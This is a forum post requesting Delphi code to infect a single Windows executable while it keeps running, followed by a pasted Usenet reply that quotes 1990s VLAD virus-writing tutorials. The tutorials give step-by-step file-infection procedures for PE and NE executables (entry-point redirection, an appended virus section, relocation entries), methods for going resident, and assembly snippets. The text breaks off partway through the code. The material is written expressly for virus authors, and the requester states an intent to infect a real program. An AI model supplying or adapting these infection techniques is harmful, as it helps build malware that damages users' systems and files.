Evo ja ga trebam u Delphiju. Ali takvog koji ne uništi exe fajla. Ja bih infekcirao samo jedan exe fajl ne sve fajle. Recimo word.exe i da word onda radi normalno. Onu Delphi kodu na sajtu još nisam isprobao tako da ne znam kako radi ili uopšte radi. Pomoč molim. Evo ovo sam pronašao na netu ali ne znam kako to upotrebit u Delphiju.
Skupine Rezultat iskanja št. 30 za exe infect virus source pascal
On 2004-06-28, FromTheRafters <
[email protected]> wrote:
>
> "paul lasse" <
[email protected]> wrote in message news:
[email protected]...
>> Hi
>>
>> Has anybody an idea (or url) how to write a simple file infection
>> function for recent win oses ?
>
> No, but if you find one I would like to check it out too. Maybe Jayjwa
> has a tutorial on his box.
The problem is that I have too many. I've made some attempt to
straighten the stuff out, but alot is still a mess.
This is one of the better txt's I've seen as far as examples go.
You'll have to excuse the formatting because for some reason it was in
M$'s proprietry "DOC" format and this was the result after letting
catdoc have its way with it:
Introducing Windows 95 by Quantum / VLAD
Straight to: Infection of Portable Executables
When VLAD started working on the Win95 problem (back when WinSurfer was
released), all we had to work with was the win32s update to win3.1 that
allowed win3.1 users to run (not very successfully) 32 bit win95/NT
applications. Tracing through the code one day we noticed that every
exe started with loading the PE header with eax pointing to it and
jumping to the entrypoint (jmp [eax + 28h]). So we changed the
entrypoint RVA to point to our code, pushed eax, did our code, popped
eax, and jumped to [eax + 28]. It worked, we had a win32s infector,
then we noticed we didn't actually have any way to infect. There were
no ints and we really felt out of our depth and then to top it all off
we came across the ultimate way to go resident without infecting the
win3.1 shell and so PH33R was born. About this time I left the scene
in an unexplainable burst of insane "oh my god I'm going to fail uni"
panic and that was about the end of the win32s/95/NT project.
Just recently, uni ended. I was on holidays, bored out of my skull,
and running win95, so I decided I'd give it another go. To my surprise
the jmp [eax + 28] was gone, it was just a byproduct of win32s. Instead
I just calculated the distance between the end of the exe and the
entrypoint, calculated the start of the virus code and subtracted the
two. It worked, I had a win95/NT infector. That is, 'cept for a little
matter of calling API...
The Day the World Changed
-------------------------
In the beginning there were memory locations and we manipulated what
our computer did by peeking and poking. And it was good. But this
was not to last, for on the horizon was the "port" and slowly we
learnt to communicate with attached devices by puting values in, and
pulling values out, of specific ports.
After a while the computer was no longer young and we needed
something to keep things in check. We needed a way to communicate
indirectly with the hardware and thus the interrupt was born. Not
everyone liked the interrupt system but soon we all learnt to live
with it, to manipulate it, and use it to our advantage.
Everyone that is, except one group at Microsoft - the guys who were
writing a "revolutionary" GUI called "Windows". These guys were
looking for a way to split all the functions that were once provided
by interrupts into seperate, shared files called Dynamic Link
Librarys (Dll's). And so the Application Program Interface (API) was
born. API's made calling functions just that little bit harder and
admittedly sometimes completely impossible. But the guys at Microsoft
had not yet taken away our interrupts and we still had (some) control
over the system with DPMI.
Then the guys at Microsoft did it again. Their latest concoction
eliminated interrupts and ports and yes, even memory locations. For
"Windows 95/NT" is a true non-preemptive multitasking system or in
other words - a bully. This ogre pushes programs around, squeezes
them into confined spaces, locks them out of restricted areas and,
worst of all, forces them into using a new, impossibly complex, method
of calling API.
Which brings us to...
One drunk night at Microsoft
----------------------------
When the guys at Microsoft get drunk, they truly get drunk. But rather
than running around with a cop's panties on their collective head and
stealing traffic cones, they designed a new call construct.
In the spirit of Windows 3.1, the guys at Microsoft chose against using
interrupts. In some ways this was good - programmers dont need to check
to see if dll's are in memory (although they could), and they can state
what dll's they need. The way that Microsoft achieved this is through
the Import and Export Tables. The Import table lets the programmer state
what functions they need from which dll's. The Export table lets the
provider of the dll specify what functions it provides.
The problem is, once the import table has been written it is set in
stone.
There is no space to add any new entries and you cant move anything
around.
Why ? Well, mainly because of a certain jump table that can be ANYWHERE
in the exe. To call an API the code calls a hardcoded address. This
address points to an indirect jump which points to an entry in the
import
table that is filled in (when the executable is loaded) with an address
to
a similar jump table in the dll that pushes a value and jumps to the
function dispatcher which uses the values that are inserted in the dll's
export table. To add an entry to the import table you would have to
move the current entries around so that you could fit it in. This means
you have to change the jump table to point to the relocated entries,
which
is impossible as the jump table can be ANYWHERE in the file and cannot
be
located.
The New Frontier
----------------
Windows 95 is a whole new platform. It's a new challenge and although
a lot of things have been stacked against you - it IS possible. So
get in there and start researching. Research will be the end-all of
the VX/AV war, one way or the other.
Infection of Portable Executables
by
Qark and Quantum [VLAD]
The portable executable format is used by Win32, Windows NT and Win95,
which makes it very popular and likely to become the dominant form of
executable sometime in the future. The NE header used by Windows 3.11
is completely different to the PE header and the two should not be
confused.
None of the techniques in this document have been tested on Windows NT
because no virus writer (we know) has access to it.
At the bottom of this document is a copy of the PE format, which is not
easy to follow but is the only reference publicly available. Turbo
Debugger 32 (TD32) is the debugger used during the research of this
text, but SoftIce'95 also does the job.
Calling Windows 95 API
----------------------
A legitimate application calls win95 api by the use of an import
table. The name of every API that the application wants to call is
put in the import table. When the application is loaded, the data
needed to call the API is filled into the import table. As was
explained in the win95 introduction (go read it), we cannot modify
this table due to Microsoft's foresight.
The simple solution to this problem is to call the kernel directly.
We must completely bypass the Win95 calling stucture and go straight
for the dll entrypoint.
To get the handle of a dll/exe (called a module) we can use the API
call GetModuleHandle and there are other functions to get the
entrypoint of a module - including a function to get the address of an
API, GetProcAddress.
But this raises a chicken and egg question. How do I call an API so I
can call API's, if I can't call API's ? The solution is to call api
that we know are in memory - API that are in KERNEL32.DLL - by calling
the address that they are always located at.
Some Code
---------
A call to an API in a legitimate application looks like:
call APIFUNCTIONNAME
eg. call CreateFileA
This call gets assembled to:
db 9ah ; call
dd ???? ; offset into jump table
The code at the jump table looks like:
jmp far [offset into import table]
The offset into the import table is filled with the address of the
function dispatcher for that API function. This address is obtainable
with the GetProcAddress API. The function dispatcher looks like:
push function value
call Module Entrypoint
There are API functions to get the entrypoint for any named module but
there is no system available to get the value of the function. If we
are calling KERNEL32.DLL functions (of which are all the functions
needed to infect executables) then we need look no further than this
call. We simply push the function value and call the module
entrypoint.
Snags
-----
In the final stages of Bizatch we beta tested it on many systems.
After a long run of testing we found that the KERNEL32 module was
static in memory - exactly as we had predicted - but it was at a
different location from the "June Test Release" to the "Full August
Release" so we needed to test for this. What's more, one function
(the function used to get the current date/time) had a different
function number on the June release than it did on the August release.
To compensate I added code that checks to see if the kernel is at one
of the 2 possible locations, if the kernel isn't found then the virus
doesn't execute and control is returned to the host.
Addresses and Function Numbers
------------------------------
For the June Test Release the kernel is found at 0BFF93B95h
and for the August Release the kernel is found at 0BFF93C1Dh
Function June August
--------------------------------------------------
GetCurrentDir BFF77744 BFF77744
SetCurrentDir BFF7771D BFF7771D
GetTime BFF9D0B6 BFF9D14E
MessageBox BFF638D9 BFF638D9
FindFile BFF77893 BFF77893
FindNext BFF778CB BFF778CB
CreateFile BFF77817 BFF77817
SetFilePointer BFF76FA0 BFF76FA0
ReadFile BFF75806 BFF75806
WriteFile BFF7580D BFF7580D
CloseFile BFF7BC72 BFF7BC72
Using a debugger like Turbo Debugger 32bit found in Tasm 4.0, other
function values can be found.
Calling Conventions
-------------------
Windows 95 was written in C++ and Assembler, mainly C++. And although
C calling conventions are just as easy to implement, Microsoft didn't
use them. All API under Win95 are called using the Pascal Calling
Convention. For example, an API as listed in Visual C++ help files:
FARPROC GetProcAddress(
HMODULE hModule, // handle to DLL module
LPCSTR lpszProc // name of function
);
At first it would be thought that all you would need to do is push the
handle followed by a pointer to the name of the function and call the
API - but no. Due to Pascal Calling Convention, the parameters need
to be pushed in reverse order:
push offset lpszProc
push dword ptr [hModule]
call GetProcAddress
Using a debugger like Turbo Debugger 32bit we can trace the call (one
step) and follow it to the kernel call as stated above. This will
allow us to get the function number and we can do away with the need
for an entry in the import table.
Infection of the PE Format
--------------------------
Finding the beginning of the actual PE header is the same as for NE
files, by checking the DOS relocations for 40h or more, and seeking to
the dword pointed to by 3ch. If the header begins with a 'NE' it is a
Windows 3.11 executable and a 'PE' indicates a Win32/WinNT/Win95 exe.
Within the PE header is 'the object table', which is the most important
feature of the format with regards to virus programming. To append code
to the host and redirect initial execution to the virus it is necessary
to
add another entry to the 'object table'. Luckily, Microsoft is obsessed
with rounding everything off to a 32bit boundary, so there will be room
for an extra entry in the empty space most of the time, which means it
isn't necessary to shift any of the tables around.
A basic overview of the PE infection:
Locate the offset into the file of the PE header
Read a sufficient amount of the PE header to calculate the full size
Read in the whole PE header and object table
Add a new object to the object table
Point the "Entry Point RVA" to the new object
Append virus to the executable at the calculated physical offset
Write the PE header back to the file
To find the object table:
The 'Header Size' variable (not to be confused with the 'NT headersize')
is the size of the DOS header, PE header and object table, combined.
To read in the object table, read in from the start of the file for
headersize bytes.
The object table immediately follows the NT Header. The 'NTheadersize'
value, indicates how many bytes follow the 'flags' field. So to work
out the object table offset, get the NTheaderSize and add the offset
of the flags field (24).
Adding an object:
Get the 'number of objects' and multiply it by 5*8 (the size of an
object
table entry). This will produce the offset of the space within which
the new virus object table entry can be placed.
The data for the virus' object table entry needs to be calculated using
information in the previous (host) entry.
RVA = ((prev RVA + prev Virtual Size)/OBJ Alignment+1)
*OBJ Alignment
Virtual Size = ((size of virus+buffer any space)/OBJ Alignment+1)
*OBJ Alignment
Physical Size = (size of virus/File Alignment+1)*File Alignment
Physical Offset = prev Physical Offset + prev Physical Size
Object Flags = db 40h,0,0,c0h
Entrypoint RVA = RVA
Increase the 'number of objects' field by one.
Write the virus code to the 'physical offset' that was calculated, for
'physical size' bytes.
Notes
-----
Microsoft no longer includes the PE header information in their
developers
CDROMs. It is thought that this might be to make the creation of
viruses for Win95 less likely.
Tools
-----
There are many good books available that supply low level Windows 95
information. "Unauthorized Windows 95", although not a particularly
useful book (it speaks more of DOS/Windows interaction), supplies
utilities on disk and on their WWW site that are far superior to the
ones that we wrote to research Win95 infection.
Windows Executable Infection by Qark and Quantum [VLAD]
This document attempts to explain technically NewExe infection for the
virus writer. This isn't for the novice coder and you'll need to
understand DOS EXE infection before being able to use any of it.
The infection described in detail here is the same as used by the
accompanying WinSurfer virus, there are other methods that can be done
but they aren't our concern (it's up to you to develop new code!)
You will want a copy of the New Exe header information which is
available
in Ralf Browns interrupt listings under Int21h AH=4Bh, a copy of which
is
included at the end of this article.
This is a map of what we are trying to do:
Before infection After Infection
0h--------------------- 0h---------------------
| | | |
| DOS EXE header | | DOS EXE header |
| | | |
--------------------- ---------------------
| | | |
| DOS Code | | DOS Code |
| | | |
| | 3F8h---------------------
400h--------------------- | |
| | <- Move | New EXE Header |
| New EXE Header | this | and some tables |
| and some tables | up | |
| | | ----------------- |
| ----------------- | | Segment |
| Segment | | Table |
| Table | | |
| | | |
| | Insert -> | ----------------- | Virus segment
| ----------------- | this | ----------------- | entry
| Misc Other | | Misc Other |
| Tables | | Tables |
| | | |
x x x x
x x x x
x x x x
CS:IP --------------------- ---------------------
| | | |
| Windows Code | | Windows Code |
| and Misc | | and Misc |
| Segments | | Segments |
| | | |
End --------------------- CS:IP ---------------------
| Virus segment |
Append all | with code etc |
this -> | |
--------------------- Virus
| | Relocation
End --------------------- Entry
Infection Theory:
-----------------
Test the EXE to make sure its windows and that the NE is at offset 1024.
Reduce the NE pointer at 3ch by eight.
Reduce DOS SP by eight.
Any NE offsets which are larger than the segment table offset must be
increased by eight.
Increment the segment counter.
Save the CS:IP.
Point the CS:IP to the new segment entry
Calculate the position of the end of the segment table, move all data up
to
and including the segment table up by eight bytes.
Add another segment entry
Write the virus to the end of the file
Write relocation entry to the end of the file.
---
That is a very basic overview of what is wanted.
The main idea of it all is moving the NE header forward to add a new
segment table entry, and changing the CS:IP to point to it.
We'll go through all the stages step by step.
Testing for a Windows executable.
---------------------------------
A NewEXE file always begins with a DOS header and some DOS executable
code. With a windows executable:
The word at offset 0 is 'MZ'.
The word at offset 18h is 40h or greater.
assuming that these conditions are met then we also want the pointer to
the
NE header (3ch) to be equal to 400h. The reason for this is that room is
needed to move the NE header forward by 8.
Rewriting the DOS header.
-------------------------
Before rewriting the DOS header, reduce the DOS SP field (10h) by 8,
because
if it was pointing to the end of the DOS code section it would point to
the start of the NE header. (No real reason for doing it really)
The NE header pointer at 3ch must be reduced by 8, because we intend on
moving most of the NE header forward to that position.
Modifications to the NE header.
-------------------------------
From this point onwards we are referring to the offsets in relation to
the
NE header.
The pointer to the segment table is a word at 22h. If any of the
pointers
at 4,24h,26h,28h,2ah are larger than [22h], then increase that
pointer by eight. The reason for this is that since we are inserting a
new segment table entry, all tables behind the segment table will be
eight bytes further from the start of the header.
The segment counter is a word at offset 1ch. Increment it by one because
since we are adding another segment, we need to indicate this in the
header.
At offset 14h is the dword pointer to the program entry point, CS:IP
where the CS is actually the segment table entry number. Save this
pointer
for use in your relocation entry (that part will be explained in detail
later on). Now point the CS:IP instead to the virus segment. Do this
by writing the necessary starting IP value to 14h (offset of the entry
into
your segment) and the segment counter value into 16h (since the virus
segment is the last in the segment table it will be equal to the segment
counter value which we have incremented).
You can work this out for yourself, but what you need to do now is move
the entire NE header, upto and including the segment table, but not
the data behind it, forward by eight bytes. Heres an equation on
calculating how much to move:
((segmentcounter-1)*8)+word ptr [22h]
Directly after this position is where to insert the new virus segment
entry.
The Virus Segment Entry.
------------------------
Format of new executable segment table record:
00h WORD offset in file (shift left by alignment shift for byte offs)
02h WORD length of image in file (0000h = 64K)
04h WORD segment attributes (see below)
06h WORD number of bytes to allocate for segment (0000h = 64K)
Offsets 2 and 6 in the segment record are just the virus size. Offset
4 is the segment attribute, we use 180h, which makes the segment
executable
with relocations.
Calculating offset 0 is more difficult. It is necessary to get the file
length and shift it right by the alignment shift value which was saved
earlier. I wouldn't know how to do a dword shift so I convert it to a
division.
File length into DX:AX :
mov ax,4202h
xor cx,cx
cwd
int 21h
Shift right DX:AX by alignment shift:
mov cl,byte ptr alignment_shift
push bx
mov bx,1
shl bx,cl
mov cx,bx
pop bx
div cx
AX=required offset 0 value
Write this eight byte table behind all the moved header.
Writing the Virus.
------------------
Lseek to the end of the executable and write the virus.
Writing the Relocation Entry.
-----------------------------
You need a relocation entry so that you can return control to the host
after the virus has done its dirty work. The relocation entries follow
the segment itself.
Format of relocation entry:
Offset Size Description
00 WORD Number of relocation entries
Offset Size Description
00 BYTE relocation type
01 BYTE relocation flags
02 WORD offset within segment
04 WORD target address segment
06 WORD target address offset
The first word will be 1 because only 1 relocation entry.
First byte is 3 to signal a 32bit pointer (a far jump).
Second byte is 4 to signal additive relocation. (doesn't work without
this)
Word at offset 2 is the offset of the dword after the 'far jump' opcode.
Word at offset 4 is the CS of the original host CS:IP
Word at offset 6 is the IP of the original host CS:IP
To put all this into code:
db 0eah ;Opcode of JMP FAR PTR
ret_ip dw 0
dw 0ffffh
relocation dw 1 ;One relocation entry
db 3 ;32bit pointer relocation
db 4 ;Additive relocation
dw offset ret_ip ;Offset of the relocation in segment
hostcs dw 0 ;CS:IP of place we want our relocation to
hostip dw 0 ; point.
Note: the relocation address data (ret_ip) _must_ be FFFF:0000 as above
because windows treats it as a linked list. If you don't understand
don't worry, just do it! It won't work otherwise. It is important
that before writing the virus body to the executable that you set
this address to FFFF:0000 so that executable will be setup correctly.
Write the relocation entry to the end of the file.
Windows allows a standard Int 21h call just fine so all file
manipulation
is as simple as ever, with a few minor changes.
Writting TSR/ISR's under Windows.
---------------------------------
Windows is a protected mode environment and thus to set a vector under
it we
must manipulate the various tables that protected mode requires to be
updated. Of these tables one is of interest to us. The "Interrupt
Descriptor Table" (IDT). The IDT holds all the Protected Mode interrupt
vectors that are in the "Interrupt Vector Table" (IVT) - if they are
supported - and some more. This is all well and good - all we have to do
is
set a vector in the IDT to point to our code like we do with dos and the
IVT but - there are complications.
V86 mode.
---------
When Windows is running in 386 enhanced mode the processor is locked
into
v86 mode. In v86 mode each application has its own 1mb memory block. All
EMS/XMS is locked away from the application and (usually) each process
has
its own IDT/IVT. The idea being to allow the application to think it is
alone on the system. Any attempt to access any other tasks that may be
running is a "violation of system integrity" and will cause an
exception.
This is no good for a virus and by now you're thinking we're screwed but
windows solves the problem for us. Windows has but one IDT and of course
only one IVT to shadow it and thus if we are to a hook a vector in the
IDT
it will be reflected in every task. (Ever seen that OS/2 warp advert
where
they say "... and true multi-tasking" - well this simply means that OS/2
warp holds a seperate IDT for every task under v86 mode.)
Setting the Vector.
-------------------
So let's get this straight.. the IVT is the one at 0:0 that we all know
and
love and the IDT is a protected mode/v86 shadow of it. So you're most
probably asking "why can't we just hook the IVT and let windows reflect
it
into the IDT?" - well there's 2 reasons: firstly windows doesn't
"reflect"
the IVT as we would like to think, actually it copies the IVT into the
IDT
on startup then replaces certain routines with "protected mode call
structures" which call the real mode routines and some routines it
doesn't
even do this, secondly trying to access the IVT directly is a big nono
and
will cause an exception error.
Can we use DOS ? well yes, you can.. most dos functions have been
reflected
up into windows although windows is supposed to be trying to get rid of
them. So you can call int 21,25/35 to set the vector but remember that
this
will be setting a vector in the GVT and only at the discretion of
windows.
A better way: use DPMI. Windows is NOT your host under protected mode or
even v86 mode as microsoft would have you believe. Windows has an
overlooker that provides windows time-slicing and exception abilities.
In
fact all windows does is act as a mediator to DPMI and basically slow
things
down. So how do we use DPMI to set the vector ? well.. by using
functions
0204h/0205h - with the vector in BL - of the DPMI provider int 31. This
way windows has no say over what goes in its IDT and thus we have a LOT
of
control.
Writing the Interrupt.
----------------------
This is perhaps one of the easier things to do - once you understand the
principles. In protected mode/v86 mode your code segment is supposed to
be
read only and thus you're supposed to have a code, stack and data
segment.
Everyone knows this is bad so what we need is a way to write to the code
segment. You won't find one - writing to the code segment just isn't
possible. BUT - if we were to have a data segment that pointed to the
same
code segment then we could do it. (actually we don't have any segments
in
protect mode.. we have a thing called a "selector" which gives access
parameters to areas of memory.)
To get an "alias selector" to the code segment we can use another DPMI
function and bypass windows altogether: function ax=000ah with the code
selector in bx of int 31h, it returns a read/writeable alias selector to
the code segment in ax.
So now Protected mode isn't protected and we're free to write to the
code
segment. One problem arises from this idea. Qark wanted to put this code
to generate the alias in the loader part of the virus and store it in
the
code segment for the interrupt routine. This seemed fine until I found
out
that windows likes to move segments around. One minute your code might
be
at one address the next it may be at another. Thus you should always
regenerate the alias on every execution of the ISR or lock down the
segment
- we chose against this last approach as it can cause exception errors
from
windows (DPMI has no problems with this strategy.)
For a detailed look at DPMI consult Ralf Brown's interrupt listing under
int 31h. These functions haven't been included in this text.
Staying Resident.
-----------------
Finally: don't go resident off something that can be closed. If you go
resident off something like mine sweeper or something and the user
closes
the application, your code segment will be deleted and removed from the
IDT
and will point to an empty segment. This will cause windows to hang.
Solution: look for a process that will never be closed, direct action
infect this as soon as you find it and only ever go resident off it.
In the 'system.ini' file in your windows directory, is a variable
'shell='
that points to a file that is never closed. Mostly it will be
'progman.exe' but sometimes other programs are used, so read it in and
infect it.
To find the path of the windows directory, search the environment for a
variable called 'windir=' (yes, lowercase!). On entry to any windows
executable ES will point to the PSP (or something functionally similar).
The word at 2ch is the segment (selector) of the environment segment.
Scan through this as you would within a DOS application. We didn't
discover
this through any documentation, but when Quantum accidentally typed
'set'
from within a DOS window.
Facts and Possible Techniques.
------------------------------
At offset 0eh in the New Executable header is the 'auto data segment
index'.
This is another segment table index, which will be automatically in DS
on execution entry. Although this is pure guesswork, if you set that
'auto data segment' to the same segment as CS, (ie in every way the same
except the segment attributes) then you could write to your CS without
using DPMI and would also open the gateway to polymorphic windows
viruses.
(Polymorphism would be pretty useless if you had to put a DPMI call
before
you could write to your code segment.)
Mark Ludwig's 'Windows Virus #2' uses a different form of infection in
that
it extends the length of the code segment as indicated in the segment
table, and moves the entire host program starting from the end of the
file
back by virus length until the end of the code segment is reached, at
which
point the virus is written. The IP is then repointed to the virus.
There are some advantages to this, such as no need to add relocation
entries
because the jmp is intra-segment but this is greatly outweighed by the
fact that moving an entire file is very slow and a much larger number of
pointers in the header need to be modified to account for the change.
There are DPMI calls for allocating memory (Int 31h ax=501h) but it is
unknown at this point whether the memory remains allocated after the
program
is closed. Mark Ludwig makes extensive use of these calls for temporary
buffers in his direct action 'Windows Virus #2'.
Mark Ludwig also demonstrates use of the WinAPI calls, which involve
adding
a new relocation entry for each call and pushing some stuff on the
stack.
This may become important when win95 comes out but for the moment it is
more convenient to simply use int 21h.
Some food for thought.
----------------------
Microsoft has a dream [here we go], the dream is to control the world.
They
intend to do this with applications like Windows [scary isn't it ?], and
by
the looks of it they might succeed. A lot of people think computers
should
be easy, that there should be no skill involved in it and that everyone
should HAVE to use one. Microsoft are using this idea to flood the
market
with shit like Windows, in the hope that it will be accepted as a
"standard".
Windows is already this but Microsoft aren't happy with one success,
they
want to be on top of the hill.
This is where we come in. If Microsoft is going to succeed in taking
over
the world then we should be there making their lives difficult. The
WinSurfer virus created by us is so stable that an average windows
user wouldn't even notice it. [Then again the average windows user
wouldn't notice if his hair caught on fire.] And thus will stay with us
for quite some time. At least until AVers recognise the windows market
and start releasing scanners.
The New Executable format. (From Ralf Browns Interrupt listing 21 AH=4B)
--------------------------
new executables begin running with the following register values
AX = environment segment (Wrong! AX=0)
BX = offset of command tail in environment segment
CX = size of automatic data segment (0000h = 64K)
ES,BP = 0000h (Wrong! ES=PSP)
DS = automatic data segment
SS:SP = initial stack
the command tail corresponds to an old executable's PSP:0081h and
following, except that the 0Dh is turned into a NUL (00h); new
format executables have no PSP (All wrong)
Format of .EXE file header:
Offset Size Description
00h 2 BYTEs .EXE signature, either "MZ" or "ZM" (5A4Dh or 4D5Ah)
02h WORD number of bytes in last 512-byte page of executable
04h WORD total number of 512-byte pages in executable (includes any
partial last page)
06h WORD number of relocation entries
08h WORD header size in paragraphs
0Ah WORD minimum paragraphs of memory to allocation in addition to
executable's size
0Ch WORD maxi paragraphs to allocate in addition to executable's size
0Eh WORD initial SS relative to start of executable
10h WORD initial SP
12h WORD checksum (one's complement of sum of all words in executable)
14h DWORD initial CS:IP relative to start of executable
18h WORD offset within header of relocation table
40h or greater for new-format (NE,LE,LX,PE,etc.) executable
1Ah WORD overlay number (normally 0000h = main program)
---new executable---
1Ch 4 BYTEs ???
20h WORD behavior bits
22h 26 BYTEs reserved for additional behavior info
3Ch DWORD offset of new executable (NE,LE,etc) header within disk file,
or 00000000h if plain MZ executable
Format of new executable header:
Offset Size Description
00h 2 BYTEs "NE" (4Eh 45h) signature
02h 2 BYTEs linker version (major, then minor)
04h WORD offset from start of this header to entry table (see below)
06h WORD length of entry table in bytes
08h DWORD file load CRC (0 in Borland's TPW)
0Ch BYTE program flags (see below)
0Dh BYTE application flags (see below)
0Eh WORD auto data segment index
10h WORD initial local heap size
12h WORD initial stack size (added to data seg, 0000h if SS <> DS)
14h DWORD program entry point (CS:IP), "CS" is index into segment table
18h DWORD initial stack pointer (SS:SP), "SS" is segment index
if SS=automatic data segment and SP=0000h, the stack pointer
is set to the top of the automatic data segment, just below
the local heap
1Ch WORD segment count
1Eh WORD module reference count
20h WORD length of nonresident names table in bytes
22h WORD offset from start of this header to segment table (see below)
24h WORD offset from start of this header to resource table
26h WORD offset from start of this header to resident names table
28h WORD offset from start of this header to module reference table
2Ah WORD offset from start of this header to imported names table
(array of counted strings, terminated with a string of length
00h)
2Ch DWORD offset from start of file to nonresident names table
30h WORD count of moveable entry point listed in entry table
32h WORD file alignment size shift count
0 is equivalent to 9 (default 512-byte pages)
34h WORD number of resource table entries
36h BYTE target operating system
00h unknown
01h OS/2
02h Windows
03h European MS-DOS 4.x
04h Windows 386
05h BOSS (Borland Operating System Services)
37h BYTE other EXE flags
bit 0: supports long filenames
bit 1: 2.X protected mode
bit 2: 2.X proportional font
bit 3: gangload area
38h WORD offset to return thunks or start of gangload area
3Ah WORD offset to segment reference thunks or length of gangload area
3Ch WORD minimum code swap area size
3Eh 2 BYTEs expected Windows version (minor version first)
Note: this header is documented in detail in the Windows 3.1 SDK
Programmer's Reference, Vol 4.
Bitfields for new executable program flags:
Bit(s) Description
0-1 DGROUP type
0 = none
1 = single shared
2 = multiple (unshared)
3 = (null)
2 global initialization
3 protected mode only
4 8086 instructions
5 80286 instructions
6 80386 instructions
7 80x87 instructions
Bitfields for new executable application flags:
Bit(s) Description
0-2 application type
001 full screen (not aware of Windows/P.M. API)
010 compatible with Windows/P.M. API
011 uses Windows/P.M. API
3 is a Family Application (OS/2)
5 0=executable, 1=errors in image
6 non-conforming program (valid stack is not maintained)
7 DLL or driver rather than application
(SS:SP info invalid, CS:IP points at FAR init routine called with
AX=module handle which returns AX=0000h on failure, AX nonzero on
successful initialization)
Format of new executable segment table record:
00h WORD offset in file (shift left by align shift to get byte offs)
02h WORD length of image in file (0000h = 64K)
04h WORD segment attributes (see below)
06h WORD number of bytes to allocate for segment (0000h = 64K)
Note: the first segment table entry is entry number 1
Bitfields for segment attributes:
Bit(s) Description
0 data segment rather than code segment
1 unused???
2 real mode
3 iterated
4 movable
5 sharable
6 preloaded rather than demand-loaded
7 execute-only (code) or read-only (data)
8 relocations (directly following code for this segment)
9 debug info present
10,11 80286 DPL bits
12 discardable
13-15 discard priority
Format of new executable relocation data (immediately follows segment
image):
Offset Size Description
00h WORD number of relocation items
02h 8N BYTEs relocation items
Offset Size Description
00h BYTE relocation type
00h LOBYTE
02h BASE
03h PTR
05h OFFS
0Bh PTR48
0Dh OFFS32
'DDDDDDDDDDDD?
? Foreword ?
ADDDDDDDDDDDDSCH
Win32 residency... A while ago people said it was
impossible. My
reply back then: Bullshit!! As for the fact that I didn't have any
clue on
how to do it, is a whole other thing... Even from my very first
article I
promised I will write about this. Until now, many virus writers
researched
this and many good Windows residents were written. Please, do not
make a
confusion between the Win32 residency and the Ring0 residency. I will
talk
about Ring0 residency in another article. The Ring0 technique was
largely
used in the incipient stages of windows virus programming by
programmers
like Quantum, Zombie, Tatung, etc. The true Win32 residency, which
works
also on WindowsNT had to wait a little longer until the programmers
got a
good grip on the use of the win32 apis, and on many of the hidden
things
inside this system. One of the first ones to do so were Jacky Qwerty
(Win32.
Redemption), Virogen (Win32.Enumero) and others. Upon studying the
docs
available, I was not satisfied with the attainable methods for
scanning for
the running processes. So, I stumbled over a program from the Visual
C++ kit
called PVIEW95. While disassambling and looking in the code I found
out a
great way of doing it. The drawback: it doesn't work on
WindowsNT... But
there is another method for WindowsNT that I will discuss later.
After discovering this method and solving a damn bug with help
from
JackyQwerty, I started working on a full Win32 resident virus. It was
not a
long time until Cargo appeared. And after the virus came this
tutorial. I
will try to explain all the stuff one by one.
Even if you are eager to do a Win32 resident virus, I
recommend you
to read the basic win32 stuff as it will help you understand most
of the
explanations here. Also, a good book would be handy... The
"Win32 API
SuperBible" from ___ is a great refference. You should be familiar with
what
a process is, what a thread is and how do they get created and ran.
I will assume that we are working on a virus which holds the
delta
handle in the EBP register and the refference to an api is done like
this:
call [ebp+_]
So, the name of the real api preceded by an underscore.
Let's talk a little about the main concept behind process
spawning.
The idea is this: the infected host starts running and the
first to
receive the control is our virus. Then, the code must dump on the hard
disk
somewhere a file, a valid exe file, that contains the complete virus
body.
Then the virus must run this valid file and then return to host. It
might
look like our virus finished execution, but if you think, you realize
that
the spawned file, the one we dump on the hdd is still running. This
is the
basic, big picture idea. We will start talking about this deeper.
Before starting to talk let me explain what a mutex is. A
mutex is
actually a process relative handle. This means that whenever you
create a
new mutex, each process is able to know wether that mutex already
existed or
not. This is very important for our virus, as the mutex will
represent the
signal for our resident state. After the mutex is created one must
call
GetLastError and if eax is not 0 then it means that the mutex
already
existed, it was already created by another process. This is how
our "go
resident" part starts:
'DDDDDDDDDDDDDDDDDDDD?
? Checking residency ?
ADDDDDDDDDDDDDDDDDDDDSCH
lea eax, [ebp+mutex] ; mutex name
push eax ;
push 1 ;
push 0 ;
call [ebp+_CreateMutexA] ; create mutex
call [ebp+_GetLastError] ;
or eax, eax ; already existed??
jnz spawned ;
If execution continues here, it means that our virus in *not*
resident
so we must go resident. Otherwise, we jump to the "spawned" label
where the
resident code continues to run. The "mutex" variable points to a
null
terminated string, something like: "my resident code",0 , or
something...
'DDDDDDDDDDDDDDDDDDDDDDDDD?
? Dumping the file to HDD ?
ADDDDDDDDDDDDDDDDDDDDDDDDDSCH
There exist two methods of dumping a file to hdd. One is used
in the
Enumero viru by Virogen and it consists of carrying a second copy
of the
virus as a full PE file and dumping it. I, however, in my Cargo
virus
choosed another method, much harder, but, I think, more beautiful, if
I may
say so. (please note that JQ uses in his Redemption virus another
method,
which consists in attaching the whole virus with its PE header at
the end
of file and changing the pointer in the MZ header to point to it; I
will not
discuss this method here). My method consists in trying to dump the
host
file together with the virus from memory to disk. It might look
simple, but
it is not so simple. Remember that when in memory, the sections are
aligned
by padding to section alignment (usualy 1000h) while on disk
they are
aligned to file alignment (200h). So, we must rearrange the sections
as we
dump them to meet those requirements. Let's start. First, we must
create a
new empty file. The "spawnname" variable points to the name:
pushad ;
push 0 ; file attributes
push 0 ; ""
push 2 ; Create New File
push 0 ; Security option = default
push 1 ; File share for read
push 80000000h or 40000000h ; General write and read
lea eax, [ebp+spawnname] ;
push eax ; pointer to filename
Call [ebp+_CreateFileA] ;
;
cmp eax, -1 ; failed to create?
je exit ;
mov [ebp+filehandle], eax ; save filehandle
popad ;
After we created the file we must start checking the running
process
to see if there is any problem dumping it; we check for MS header, PE
header
and so on:
mov esi, [ebp+imagebase] ; first check that it is a
cmp word ptr [esi], 'ZM' ; valid MS-DOS file...
jne exit ;
cmp word ptr [esi.MZ_lfarlc], 40h ; check the NewExe marker
jne exit ;
mov esi, [esi.MZ_lfanew] ; locate PE header offset
add esi, [ebp+imagebase] ;
push 200h ; check if we can read
push esi ; the ammount of memo from
there
call [ebp+_IsBadReadPtr] ;
or eax, eax ;
jnz exit ;
cmp word ptr [esi], 'EP' ; is it the PE header?
jne exit ;
Now we start retrieving data we will need to dump the file:
xor eax, eax ;
mov ax, [esi.NumberOfSections] ; take number of sections
push eax ; and remember them
